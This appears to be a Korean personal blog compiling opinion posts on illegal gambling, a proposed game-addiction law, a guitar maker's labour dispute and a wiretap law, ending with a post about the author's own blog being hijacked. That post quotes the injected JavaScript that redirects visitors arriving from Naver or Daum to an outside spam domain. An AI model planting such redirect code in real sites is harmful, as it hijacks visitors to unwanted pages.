유흥가 변두리나 주택가에서도 성인오락실, XX게임장 근처에서 보이는, 어깨와 눈빛이 축 늘어진 연배 좀 되는 아저씨들... 아마 종종 보던 모습들 아닌가?


[포스팅AS] 2014. 1월 어느 날.


당시 도박에 참가했던 연예인들이 잘 못한 부분은 분명히 있지만, 시간이 흐르고 난 뒤에 앞뒤를 따져서 생각해 볼 때, 각 개인이 도박에 사용한 액수 자체는 실제와 다르게 지나치게 부풀려져서 발표되었다.


이 사건은, 이미 공공연하게는 아니지만 적잖이 알려져 있던 사실을, 누군가가 큰 사회 이슈거리로 만들어서 찌라시 등으로 유포했고, 언론과 인터넷 매체들이 그에 동조하여 대대적으로 알리게 된다. 결과적으로 당시의 정치적 이슈들 덮을 하나의 '꺼리'에 지나지 않았다는 것을 필자를 포함한 일반인들이 알아차리는 데 수 개월이라는 시간이 필요했다.


일종의 '물타기 음모론'에 지나지 않을지 모르지만, 특정 사건과 묘하게 오버랩됨은 분명하다. 이전, 또는 이후의 연예/사회계 이슈적 사건들과 함께 따로 한 번 다루어 볼 여지가 있는 부분이다.


- Barracuda -

 

수법은 날아다니고 제도는 기어다닌다

 

그 뿐 아니라 온라인사이트를 폐쇄적으로 개설하고 가정이나 성인피씨방에서 몰래 접속, 쿠폰이나 상품권으로 베팅하고 환전, 꽁지돈 대출과 폭력단과 연계된 불법 도박, 이번에 이수근과 탁재훈 같은 연예인들이 하던, 사설 스포츠토토에 전화로 베팅하는 맞대기 도박등, 수법과 기술이 나날이 다양하게 발전해 나가고 있는 것이 현실이다.

 

어느 시대를 막론하고 도박은 말살할 수 없는 사회악으로 존재해 왔다. 고대의 유물이나 역사적 기록에서도 꾸준이 발견되는 도박에 대한 흔적들. 한국에도 도박의 폐해를 알리고 도박을 끊고자하는 모임들이 많이 있고 한국단도박모임 같은 유명 단체도 이미 여러 해 전에 생겨서 운영되고 있어서 도박 중독자 치료 모임이나 자가진단법, 회복프로그램 등을 제공하고 있다고 한다.

 

우리의 현실은...

 

호주의 경우 생산성위원회라는 곳에서 도박 정책의 방향을 제시하고 소모성과 파괴성을 최소화하려는 움직임이 몇 해전 부터 있어 왔고, 꾸준히 공청회 등의 보완작업이 구체적으로 진행되어 오고 있다.

 

문제는, 우리 나라의 경우, 도박에 대한 규제가 불명확하거나 일관성이 부족하여 일회성인 경우가 많고, 온라인게임 같은 것들이 원래의 게임성이 변질되어 도박화되고, 사행성 게임장들의 치고 빠지가, 성인오락실, 성인피씨방 같은 곳에서 불법 도박들이 암암리에 성행, 맞대기 도박 같은 변형된 형태로 날로 다양해지는 상황이다. 더구나 모바일 기술의 기동성과 파급력까지 겸비한 최신의 불법 도박기술까지 등장했으니, 가히 무서울 정도다.

 

 

결국, 불법적인 기술과 수법의 발전은 날고 기는데, 실태 파악이나 분석을 통한 근원적 대책과 법제도는 기어다니는 꼴이니 이런 사단이 나도 신문에 잠깐 회자되다가 또 잊혀지기를 반복하는 악순환 실태 자체가 심각한 문제인 것이다. 단타성, 회피성 대책이나 일회성에 그치는, 환부만 치료하고 반창고 하나 표시나게 붙여서 무마할 것이 아니라, 체질과 정신을 재무장할 수 있는 근원적인 분석을 통해서 해법을 찾아서, 약과 영양분을 섭취하고 기브스를 하는, 제대로 된 규제 법안들이 나와야 할 것이다.

 

다 같이 노력하자. 제발~

 

도박이란 것이 무조건적으로 사회에서 아예 없어지지는 않을 것이고, 관광 등과 연계된 경제활동의 일부로 건전하고 합리적으로 발전하여 여가 선용의 원래 목적을 이루게 하려면, 호주나 영국 등과 같이, 먼저 고민해 본 나라의 사례와 문제점을 벤치마킹 하여야 한다. 또한 정부 뿐 아니라 지역 사회의 단체와 모든 개개인이 도박에 대한 건전한 접근과 제대로 갖춰진 태두리 내에서 즐길 수 있게 되도록 부단한 노력을 다해야 한다고 본다.

 

- Barracuda -

 

  1. 혹자는 지난 9월에 이미 증권가 찌라시에 돌던 내용인데, 왜 하필 지금 이게 터질까가 궁금하다고 한다. 속칭 물타기용 카드라는 설? [본문으로]
  2. 언론에 오르내린 도박 사건 연루 연예인: 황기순(1997), 주병진(2002), 신정환(2003-2010), 김용만, 강병규(2008), 김준호(2009), 신혜성, 이성진, 이지훈(2010), 탁재훈, 이수근, 붐, 앤디, 양세형, 토니안(2013) [본문으로]
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온라인 게임은 마약, 알코올, 도박과 함께 4대 중독물로 규정하고 규제해야 한다는 내용의 법안이 국회에 상정되었다고 한다. K-IDEA(한국인터넷디지털엔터네인먼트협회)에는 대한민국게임산업 근조라는 큼지막한 배너가 걸려있고, 사용자 폭주로 한 때 사이트가 다운되기도 했다고 한다. 현재, 일주일 가량 지속된, 반대를 위한 서명운동 참여자가 114,576 명이 넘어 서고 있다. 게임 업계 종사자 수가 10만명 가량 된다고 하니, 관련 업계에서 대다수가 반대하고 있다고 봐도 될 듯 하다.

 

문화 발전과  미래 창조 경제, 거꾸로 가는 게임 산업 진흥

 

왜 시간이 지날수록 역주행이 자주 발생하는 건지 알다가도 모를 일이다. 때로는 뒷걸음 쳐서 앞으로 내달리기도 한다지만 이건 퇴보 수준이 아니라 하나의 산업 자체를 통째로 엎어버리겠다는 심산으로 보인다. 창조 경제, 미래 경제를 향해 달려 나가야 하는 이 시점에 말이다.

 

그렇다면 게임을 즐기고 있는 우리는 마약을 빠는 것과 다를 바가 없고, 게임 기획이나 개발자는 마약을 생산하는 것이고, 게임 개발사나 유통사는 마약상이나 다를 바가 없다는 논리가 된다. 결국 게임은 '사회악'이고 세상에서 몰아내야 할  대상이다 라는 논리가 된다. 가뜩이나 한국의 온라인 게임이 국내에서는 침체기를 맞고 있고 제대로 된 개발자 구하기가 하늘에 별 따기라는데, 이러다 한국 게임 업체들이 죄다 외국으로 이전하거나, 개발자들이 망명을 신청하는 사태가 나오지는 않을지?

 

작년에 컨텐츠진흥원에서 조사한 결과를 보면, 청소년 12만명과 19~35세 성인 3,300명을 대상으로 조사한 바에 따르면 문제적 게임 이용자(과몰입군과 과몰입위험군)는 전체의 2% 라고 하는 결과도 있다. 100명 중 2명. 미성년인 학생들로만 보면 한 반에 1명꼴로 나올까 말까할 정도의 부작용인 것이다.

 

음모론인가? 추악하고 저열한 집단이기주의인가?

 

혹자는 이 사건에 대해 음모론을 재기하기도 한다. 왜 이 법을 보건복지부와 의사 단체(중독의학회, 정신과학회)가 밀고 있는 건지? 라는 단초에서부터 출발하고 있는 듯 하다. 법안을 발의한 신 모 의원도 정신과 의사 출신이기도 하고......

 

즉 게임중독을 질병으로 몰고, 진료과목으로 넣어서 게임 업계에서 징수한 기금(매출의 1%를 인터넷게임중독치유부담금으로 부과)를 의사들에게 나눠주게 되지 않느냐는 것. 만약 사실이라면 추악한 집단 이기주의가 아닌가?

 

중독성에 대해서

 

게임이란 것이 중독성이 있다는 것은 누구나 인정하는 사실일 것이나, 그 중독의 실질적인 사회적, 가정적 요인을 찾아 내고 업체와 게임을 즐기는 당사자와 그 주변의 가정과 사회의 자율적 규제를 유도 한다거나, 그 대책을 세우는 실질적 노력이 더 중요하지 않을까? 이건 마치, 교통사고가 많이 나니까 길가에 차들이 모두 살인 병기이고, 자동차 산업계에서 매출액의 일부를 기금으로 받아 챙기는 것과 무엇이 다른지, 곰곰 생각해도 참 답이 없는 노릇이다.

 

세상의 모든 위안과 즐거움과 성취감을 주는 것들은 거의 다 어느 정도 중독성이 있는 것들이다. 때로는 일 중독이라는 말도 쓰이는데, 이를 어쩌나. 몸에 해롭다고 이미 밝혀진 담배도 있고, 필자가 좋아 하는 탁구 같은 생활 체육, 라켓볼, 음악, 독서와 같은 취미 활동, 노래, 매운 음식, 심지어 라면이나 햄버거 같은 인스턴트 식품들, 정치가들이 좋아 하는 권력도 중독성인데, 다 규제하고, 많든 적든 간에, 기금을 받아야 맞지 않을까?

 

☞ 중독법 반대를 위한 온라인 서명운동 동참

 

- Barracuda -

 

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울릉도에 기증된 기타의 '진실'을 아시나요

부제: 한국 음악인들에게 '콜텍 문화재단'을 묻다


2011년 3월에 게재된 오마이뉴스의 기사 제목이다. 왜 2년도 더 된 헤묵은 옛기사를 끄집어 내고 있는 걸까? 최근 들어 감정노동자들의 노동 환경이나 부당, 불법 행위에 대한 애환 이야기가 심심찮게 나오고 있는데 노동 하면 육체노동이 먼저 떠오른다. 기타 하면 음악을 대표하는, 문화활동의 대표적 악기이다.


이러한 기타를 만드는 제조공정이란 것이 상당히 복잡하고 원목과 합판의 재단, 부착시의 접착제 사용과 마감을 위한 사포작업 등이 노동자들에게 굉장히 열악한 특징을 지닌다. 만약 이러한 열악한 위험요인에서 노동자를 보호해 주지 못하고, 공정의 일정을 지키기 위해 노동자를 착취하게 된다면, 또 그러한 노동자의 노고와 직업에 대한 열의를 알아 주지 못하고 사업주의 욕심만 채워 주는 도구로만 취급하는 회사가 있다면? 또 해외 이전이라는 사업적 명분 아래 부당해고 등의 작태를 벌이고도 단지 몇 푼의 벌금만 내고 버젓이 지금도 부당 착취를 서슴치 않고 자행하는 회사가 있다면?


생각만 해도 소름 끼치는 일이고, 기업가의 양심을 팔아먹으면서 벌어 들인 부자가 지탄 받는 현실에서 진정 보고 싶지 않은 어두운 단면이 아닐까 한다. 윤리경영이 화두인 요즈음에 말이다. 요 몇일 사이 TV 에서 접하는, '외면하지 않겠습니다' 라며 유명인들이 번갈아 나오며 수화를 섞어서 외치는 공익광고가 있다. 정말 외면하지 않는 것인가? 외면하지 않으려고 하는 상황을 외면하는 것이 아니고?


콜트 기타에 얽힌 피냄새의 진실은?


기사에는, 콜트-콜텍 이라는 기타 제조 전문회사의 노동자들에 대한, 그리고 회사에서 사회적, 도덕적 압박을 무마하고자 만든 콜텍문화재단에 대한 이야기가 나온다. 이 재단에서 울릉도에 기타를 몇 개 기부한 것과 세계 기타 시장의 30%를 점유하는 콜트 기타, 휀더, 아이바네즈 기타도 만들어 내는, 30년도 훨씬 더 된 바로 그 유명회사에 대한 이야기다.


요약하자면 2005년, 회사가 힘들다고 직원들이 고통을 감내하기를 호소하며 착취를 일삼은 회사가, 알고 보니 부채율 0%,연 100억대 순익을 내는 견실한 회사라는 것과 그것도 모자라 점차로 국내 생산라인을 축소하다가 2007년에는 56명의 노동자를 정리해고, 대전의 악기회사를 위장폐업해서 67명을 길거리로 내몰았다는 것.


비정상적인 구조조정에 항의해 어느 노동자는 분신까지 했고, 단식 농성과 송전탑 농성, 전 세계의 악기상과 음악인들을 상대로 해외 원정 투쟁 등 안해본 것 없이 지속적인 항의를 해 왔다고 하는데, 회사에서는 그들을 만나주기는 커녕 용역을 동원해서 폭력을 행사했다고 전해진다. 법원의 판결로 불법을 자행한 부분에 대한 벌금은 고작 몇 백 만원. 2009년에는 국회 환경노동위까지 어찌해서 올라갔지만 증언 거부 등으로 무산되었다고도 전해진다.


세계인들은 주목하고 동정표를 던지는데, 우리는 외면중 - 이건 감동인가 슬픔인가?

"노동자들의 아픔이 서린 기타, 착취 받는 기타로는 노래할 수 없다"


감동이기는 하지만 슬프고도 부끄러운 것은, 그들이 해외 원정 투쟁을 벌이는 와중에, 입장료가 60만원에 달하는 일본 후지락 페스티벌에 초청을 받게 되었고, 공식 초청팀의 보컬(잭 드 라 로차)가 그들을 본인들의 무대에 올려주었다는 것. 그래서 무대에 오른 어느 해고 노동자는 청중의 우뢰와 같은 박수를 받았다고 한다. 그 뿐 아니라 2011년 미국 악기쇼인 '남쇼'에서는 공식 홍보대사 초청팀 RATM(Rage Against The Machine)의 기타리스트(탐 모렐로)는 공식적으로 그 노동자들을 지지한다고 밝혔다. 또 탐 모렐로는 콜트-콜텍의 최대 주문사인 휀더와의 만남을 주선하고 회사 차원에서 거래처에 대한 공식 조사가 현재 진행중이라고 한다.


그러한 사건의 촉발로 미국 ESP라는 기타 회사, 영국의 아발론 등도 우리 노동자들을 지지하며, 콜트-콜텍 이라는 회사를 더 이상 믿을 수 없고, 그들과의 거래를 중단을 선언하는 일도 있었다고 한다. ESP의 공식 입장 발표가 우리를 눈물 짓게 한다. 참 이런 아이러니가 없다.


그렇게 7년의 세월이 흘러 갔다


지금도 해고 노동자들은 억울해 하고 각종 경로와 방법을 동원해서 투쟁의 길을 가고 있다고 한다. 아래는 '콜트-콜텍 + 문화행동' 이라는 블로그이고, 그들이 운영하는 카페와, 2년 전의 오마이뉴스 해당 기사의 링크이다. 글을 쓰면서, 본 블로그를 열었던 4년여 동안 두 번째로, 마음속으로 눈물을 흘렸다. 슬픔일까 아니면 감동일까?



  



[꼬리글] - 신대철님의 공개 사과


신문 지상 등의 미디어에 꾸준히 오르고 세간에 제법 알려지긴 했지만 아직도 음악인들 사이에서도 잘 알려지지 못한, 작지만 큰 일이다. 얼마전 음악인 신대철님이 콜텍문화재단 주관의 락 음악 행사 내용을 페이스북에 올렸다가, 뒤늦게 콜텍에 관해 몰랐던 부분이라며 공개 사과를 하고, 콜텍을 지원하는 문화 활동을 따로 약속한 적이 있다. 뒤늦게라도 개념 있게 사과를 한 신대철님도 응원 받고, 힘 내서 음악활동 꾸준히 이어나가면 좋겠다.


☞ 콜트-콜텍 + 문화행동 블로그

☞ 콜트콜텍기타만드는노동자들의이야기 다음카페

☞ 오마이뉴스 기사(2011.3.21)

한겨레TV 기사(2013.10.11)


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'통신비밀보호법', 正義를 定義해야 하는 법, 상식의 선에서 만들어지고 집행되어야 하는 법...


...뭐지......이 위화감은?!


요즘 많이들 '돌직구'를 좋아하던데, 너무 좋아하다간 큰코 다칠지도 모르겠다. 이제, 공직자가 비리를 저질러도, 그 비리를 일반에 공개한 사람들은 범법자가 되고 떡값 좀 받은 것 만으로는 아무 죄도 되지 않는다. 떡값은 '떡 값'이기 떄문이거나, 공직자가 받은 떡값 몇 푼 받는 정도는 '비상한 공적 관심'의 대상이 아니기 때문이다.


법 전문가가 아니므로 잘은 모르겠으나, 앞으로 이 '비상한' 이라는 단어를 주의 깊게 처다보며 세상을 살아 가야 하겠다. 무섭다.

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관리 부주의일까?...아니면 계정 정보 유출일까?


다음에 신고는 하겠지만 상당히 석연치 않은 부분이 있는 것이...

누군가가 블로그를 훼손하려 했다면 다른 포스팅 글을 삭제하거나 내용을 변경하는 행위를

전혀 하지 않은 것과, 암호도 그대로 유지 되고 있던 것으로 보아서는, 어딘가 Backdoor가 있어서 특정 영역만 건드린 것이 아닌지 하는 생각이 스멀스멀 드는 상황이다.


우선 블로그 이름이 "." 으로 바뀌어 있고, 소개 글이 지워져 있다.


그리고 여자흥분제...어쩌구 하는 광고 비슷한 글이 5개 등록되어 있네.

흠... 음란물이나 사행성 내용은 아니지만...상당히 기분은 거시키하다.



<script language="javascript" type="text/javascript">

var url = document.referrer;

if (url.indexOf("naver")>0){

window.location.href="http://vipbia.xy.to";

  

  }

else {

}

</script>

<script language="javascript" type="text/javascript">

var url = document.referrer;

if (url.indexOf("daum")>0){

window.location.href="http://vipbia.xy.to";

  

  }

else {

}

</script>

다음으로 HTML/CSS편집에서 확인된 납치태크


한눈에도 허접해 보이는 저 스크립트들...


기본 정보에 1차도메인으로 되어 있던 것이 zx88.k777777777777777777777777777777777777777777777777772.com 요런 도메인으로 바뀌어 있다.








로그인 기록이다.


참, 어찌 보면 블로그가 너무 심심하고 딱딱해서 "이봐 신경 좀 쓰지?!" 하는 듯한 조롱 같기도 하고 고맙기까지 하다.


하지만 기분이 썩 좋지는 않네. ㅋㅋ


<참고> 다음에 신고 해봐야 로그인 기록 남아 있는 정보로 수사기관에 신고를 하라고 할 것이다. 당연한 이야기.

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